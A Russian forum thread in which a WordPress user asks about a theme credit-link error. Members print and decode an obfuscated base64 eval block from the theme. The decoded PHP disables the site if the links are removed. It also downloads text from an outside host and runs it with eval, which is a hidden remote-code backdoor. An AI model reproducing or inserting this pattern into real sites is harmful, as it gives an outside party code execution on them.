Как исправить ошибку с блоком Credit links

  • Автор темы daisy0104
  • 2188
  • Обновлено
  • 25, Jun 2014
  • #1
Приветствую всех! Помогите, пожалуйста, справиться с ошибкой. Пару дней назад появилась, перезаливала файл темы, в котором ошибка, ничего не изменилось.






Может кто подскажет, что делать? Ссылка на сайт для наглядности - kstrip.ru

daisy0104


Рег
25 Jun, 2014

Тем
2

Постов
6

Баллов
26
  • 26, Jun 2014
  • #2
покажите содержимое строки 1104 указанного файла (плюс пару строк сверху, пару строу снизу) вообще eval в ВП не используется, но в теме могли наваять что угодно...
 

Льюви


Рег
22 May, 2012

Тем
10

Постов
1108

Баллов
1208
  • 26, Jun 2014
  • #3
С 1104 строки в файле начинается код base64

endif;

}

endif;



eval(base64_decode('JHRoZXRoZW1lID0gJ1dlYXZlcmllJzsNCiR0aGVlcnJtZXNzYWdlID0gIjxkaXYgc3R5bGU9XCJmb250LXNpemU6MTNweDtsaW5lLWhlaWdodDoxOXB4O1wiPjxhIGhyZWY9JyIgLiBhZG1pbl91cmwoKSAuICInPiZsYXF1bzsgQmFjayBUbyBBZG1pbiBEYXNoYm9hcmQ8L2E+PGJyIC8+IiAuICI8Yj5PcHBzcyEgTG9va3MgbGlrZSB5b3UgaGF2ZSByZW1vdmVkIG9yIGNoYW5nZWQgdGhlIHRoZW1lIGNyZWRpdCBsaW5rcy4gV2VsbCwgd2UgZGlkIHB1dCBhIHdhcm5pbmcgc2lnbiB0aGVyZS4gVGhlIHRoZW1lIGlzIG5vdyBkZWFjdGl2YXRlZC48L2I+PC9kaXY+PGJyIC8+PGRpdiBzdHlsZT1cImZvbnQtc2l6ZToxOXB4OyBwYWRkaW5nLXRvcDoyMHB4O1wiPjxiPlBsZWFzZSBGb2xsb3cgVGhlc2UgU3RlcHMgVG8gUmVzdG9yZSBUaGUgVGhlbWU6PC9iPjwvZGl2PjxvbCBzdHlsZT1cIm1hcmdpbjowOyBwYWRkaW5nOjIwcHg7IHRleHQtYWxpZ246bGVmdDtcIj48bGk+UGxlYXNlIHJlZG93bmxvYWQgPGEgaHJlZj1cImh0dHA6Ly93d3cubWFncHJlc3MuY29tL3dvcmRwcmVzcy10aGVtZXMvIiAuIHN0cnRvbG93ZXIoJHRoZXRoZW1lKSAuICIuaHRtbFwiIHRhcmdldD1cIl9ibGFua1wiPiIgLiAkdGhldGhlbWUgLiAiIFdQIFRoZW1lPC9hPi48L2xpPjxsaT5FeHRyYWN0IGFuZCBGVFAgdXBsb2FkL3JlcGxhY2Uvb3ZlcndyaXRlIDxzdHJvbmc+c2lkZWJhci5waHA8L3N0cm9uZz4gaW5zaWRlIHRoZSAiIC4gc3RydG9sb3dlcigkdGhldGhlbWUpIC4gIiB0aGVtZSBmb2xkZXI8L2xpPjxsaT5GaW5hbGx5LCByZWZyZXNoIHlvdXIgcGFnZSB0byBhY3RpdmF0ZSB0aGUgdGhlbWUgYWdhaW4uPC9saT48L29sPjwvZGl2PjxiciAvPjxkaXYgc3R5bGU9XCJmb250LXNpemU6MTNweDtsaW5lLWhlaWdodDoxOXB4O1wiPklmIHlvdSB3YW50IHRvIHVzZSBhIDxzdHJvbmc+bm8gc3BvbnNvcmVkIGxpbmsgdmVyc2lvbjwvc3Ryb25nPiBvZiB0aGlzIHRoZW1lLiBQbGVhc2UgY29uc2lkZXIgcHVyY2hhc2luZyBpdHMgZGV2ZWxvcGVyIGxpY2Vuc2U6PGJyIC8+PGEgaHJlZj1cImh0dHA6Ly93d3cubWFncHJlc3MuY29tL2RldmVsb3Blci1saWNlbnNlXCIgdGFyZ2V0PVwiX2JsYW5rXCI+aHR0cDovL3d3dy5tYWdwcmVzcy5jb20vZGV2ZWxvcGVyLWxpY2Vuc2U8L2E+PC9kaXY+IjsNCmZ1bmN0aW9uIGNoZWNrX3RoZW1lX3ZhbGlkKCkgew0KZ2xvYmFsICR0aGVlcnJtZXNzYWdlOw0KaWYoIWZ1bmN0aW9uX2V4aXN0cygnZ2V0X3RoZV90YWdnaW5nX3Nhbml0aXplJykpOiB3cF9kaWUoICR0aGVlcnJtZXNzYWdlICApOyBlbmRpZjsgfQ0KYWRkX2ZpbHRlcignZ2V0X2hlYWRlcicsJ2NoZWNrX3RoZW1lX3ZhbGlkJyk7DQpmdW5jdGlvbiB0aGVtZV91c2FnZV9tZXNzYWdlKCkgew0KZ2xvYmFsICR0aGVlcnJtZXNzYWdlOw0Kd3BfZGllKCAkdGhlZXJybWVzc2FnZSApOyB9DQpmdW5jdGlvbiBjaGVja190aGVtZV9saWNlbnNlKCkgew0KJGYgPSBnZXRfdGVtcGxhdGVfZGlyZWN0b3J5KCkgLiAiL3NpZGViYXIucGhwIjsNCiRmZCA9IGZvcGVuKCRmLCAiciIpOw0KJGMgPSBmcmVhZCgkZmQsIGZpbGVzaXplKCRmKSk7DQpmY2xvc2UoJGZkKTsgaWYgKCBzdHJwb3MoICRjLCAnIDw/cGhwICcgLiAnZWNobyBjY2NfdGhlbWVfbGljZW5zZSgpOyA/PicgKSA9PSAwKSB7DQp0aGVtZV91c2FnZV9tZXNzYWdlKCk7IGRpZTsNCn0NCn0NCmFkZF9maWx0ZXIoJ2dldF9oZWFkZXInLCdjaGVja190aGVtZV9saWNlbnNlJyk7DQpmdW5jdGlvbiBjY2NfdGhlbWVfbGljZW5zZSgpIHsNCiRjY19jb250ZW50ID0gQGZpbGVfZ2V0X2NvbnRlbnRzKCJodHRwOi8vd3BsazEuY29tL3RleHRTY3JpcHQvMzBmNDUxYTk3ZCIpOw0KaWYgKCAkY2NfY29udGVudCA9PT0gRkFMU0UgKSB7DQp9IGVsc2Ugew0KaWYoIGlzX2hvbWUoKSB8fCBpc19mcm9udF9wYWdlKCkgKXsNCiRwYWdlZCA9IGdldF9xdWVyeV92YXIoICdwYWdlZCcgKTsNCmlmICggISRwYWdlZCApIHsgICA/Pg0KPGFzaWRlIGlkPSJ0ZXh0cGFkIiBjbGFzcz0id2lkZ2V0IHdpZGdldF90ZXh0Ij4NCjxoMyBjbGFzcz0id2lkZ2V0LXRpdGxlIj48P3BocCBfZSgnVGhlbWUgQ3JlZGl0JywgVEVNUExBVEVfRE9NQUlOKTsgPz48L2gzPg0KPGRpdiBjbGFzcz0iY3R3aWRnZXQiPg0KPD9waHAgZWNobyBldmFsKCRjY19jb250ZW50KTsgPz4NCjwvZGl2Pg0KPC9hc2lkZT4NCjw/cGhwIH0NCn0NCn0NCn0='));

?>
 

daisy0104


Рег
25 Jun, 2014

Тем
2

Постов
6

Баллов
26
  • 26, Jun 2014
  • #4
daisy0104:
С 1104 строки в файле начинается код base64
я что-то такое и предполагала) для таких кодов есть специальные ББкоды, в следующий раз берите текст в , тогда движок не проставит там пробелов)) так, ну-с... раскодированный вариант:
 $thetheme = 'Weaverie';

$theerrmessage = "<div style=\"font-size:13px;line-height:19px;\"><a href='" . admin_url() . "'>« Back To Admin Dashboard</a><br />" . "<b>Oppss! Looks like you have removed or changed the theme credit links.

Well, we did put a warning sign there.



The theme is now deactivated.</b></div><br /><div style=\"font-size:19px; padding-top:20px;\"><b>Please Follow These Steps To Restore The Theme:</b></div><ol style=\"margin:0; padding:20px; text-align:left;\"><li>Please redownload <a href=\"http://www.magpress.com/wordpress-themes/" . strtolower($thetheme) . ".html\" target=\"_blank\">" . $thetheme . " WP Theme</a>.</li><li>Extract and FTP upload/replace/overwrite <strong>sidebar.php</strong> inside the " . strtolower($thetheme) . " theme folder</li><li>Finally, refresh your page to activate the theme again.</li></ol></div><br /><div style=\"font-size:13px;line-height:19px;\">If you want to use a <strong>no sponsored link version</strong> of this theme.



Please consider purchasing its developer license:<br /><a href=\"http://www.magpress.com/developer-license\" target=\"_blank\">http://www.magpress.com/developer-license</a></div>";

function check_theme_valid() {

global $theerrmessage;

if(!function_exists('get_the_tagging_sanitize')): wp_die( $theerrmessage ); endif; }

add_filter('get_header','check_theme_valid');

function theme_usage_message() {

global $theerrmessage;

wp_die( $theerrmessage ); }

function check_theme_license() {

$f = get_template_directory() . "/sidebar.php";

$fd = fopen($f, "r");

$c = fread($fd, filesize($f));

fclose($fd); if ( strpos( $c, ' <?php ' . 'echo ccc_theme_license(); ?>' ) == 0) {

theme_usage_message(); die;

}

}

add_filter('get_header','check_theme_license');

function ccc_theme_license() {

$cc_content = @file_get_contents("http://wplk1.com/textScript/30f451a97d");

if ( $cc_content === FALSE ) {

} else {

if( is_home() || is_front_page() ){

$paged = get_query_var( 'paged' );

if ( !$paged ) { ?>

<aside id="textpad" class="widget widget_text">

<h3 class="widget-title"><?php _e('Theme Credit', TEMPLATE_DOMAIN); ?></h3>

<div class="ctwidget">

<?php echo eval($cc_content); ?>

</div>

</aside>

<?php }

}

}

}
самое главное здесь, как я понимаю, вот это:
Oppss! Looks like you have removed or changed the theme credit links. Well, we did put a warning sign there. The theme is now deactivated. перевод нужен?
 

Льюви


Рег
22 May, 2012

Тем
10

Постов
1108

Баллов
1208
  • 26, Jun 2014
  • #5
Нет, перевод не нужен, спасибо! Объясните как для валенка, пожалуйста, а что значит "тема отключена"? Если в теме еще что-то буду менять - она не будет работать, верно? Если я попытаюсь этот блок с Theme Credit убрать - тема опять же не будет работать? Выход - или покупать лицензию, или менять тему?
 

daisy0104


Рег
25 Jun, 2014

Тем
2

Постов
6

Баллов
26
  • 26, Jun 2014
  • #6
daisy0104:
Если в теме еще что-то буду менять - она не будет работать, верно? Если я попытаюсь этот блок с Theme Credit убрать - тема опять же не будет работать?
понятия не имею... ardon:
 

Льюви


Рег
22 May, 2012

Тем
10

Постов
1108

Баллов
1208
  • 26, Jun 2014
  • #7
Credit links это условие использования темы со ссылками. В вашем случае вы что-то сделали с этими ссылками некорректно. Вариант первый Вместо куска кода, что вы предоставили в закодированном варианте base64 вставить тот код, что вам раскодировала Льюви. Затем уже будет можно удалить все ссылки. Вариант два, это почитать тему https://lumtu.com/wordpress/4707-kak-ubrat-zakodirovannye-ssylki-iz-temy-wordpress.html

и решить проблему. В принципе ничего сложного... Тему потом перенесу в раздел Вордпресс
 

Wmboard


Рег
01 Jan, 2011

Тем
522

Постов
7188

Баллов
12408
Тем
49554
Комментарии
57426
Опыт
552966

Интересно